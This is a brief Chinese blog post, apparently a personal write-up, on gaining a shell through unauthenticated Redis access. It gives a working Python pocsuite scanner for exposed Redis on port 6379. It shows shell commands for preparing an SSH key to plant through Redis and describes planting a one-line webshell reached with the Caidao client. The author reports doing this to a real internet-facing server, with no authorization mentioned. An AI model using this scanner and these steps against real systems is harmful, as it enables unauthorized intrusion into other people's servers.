redis未授權訪問getshell

redis未授權訪問的問題一年前就爆了，當時剛開始學安全，還不太懂。今天借着工作的機會來搞一把，看看能不能拿下一台服務器。其實前幾天就寫好了一直想找個實際環境復現一下，一直沒有找到，只說下大致思路。

首先redis未授權的漏洞有幾個先決條件，自己搭建漏洞環境的話需要在配置文件redis.conf中修改

1、允許其他網段連接

2、關閉protected-mode

漏洞的發現可以批量跑POC，大概原理就是通過sock發帶有info的payload給目標服務器，然后看返回的信息中有沒有關鍵字。這里懶得寫了，放一個網上找的pocsuite版的：

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授權訪問 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默認不需要密碼即可訪問，黑客直接訪問即可獲取數據庫中所有信息，造成嚴重的信息泄露。
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)

實際測試時發現這么一台外網主機存在此問題

下面嘗試getshell，通常的方法有如下幾種：

1、寫公鑰

首先在本地生產公私鑰文件：

 $ssh-keygen –t rsa 

然后將公鑰寫入文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt

再連接Redis寫入文件，這里很不幸，連接后設置redis路徑時提示了permission denied，看來不是root權限，這種方法的嘗試失敗

2、傳webshell

用nmap掃出來開放了http80端口，看看是否能夠寫入一句話

菜刀是可以連接的

 -done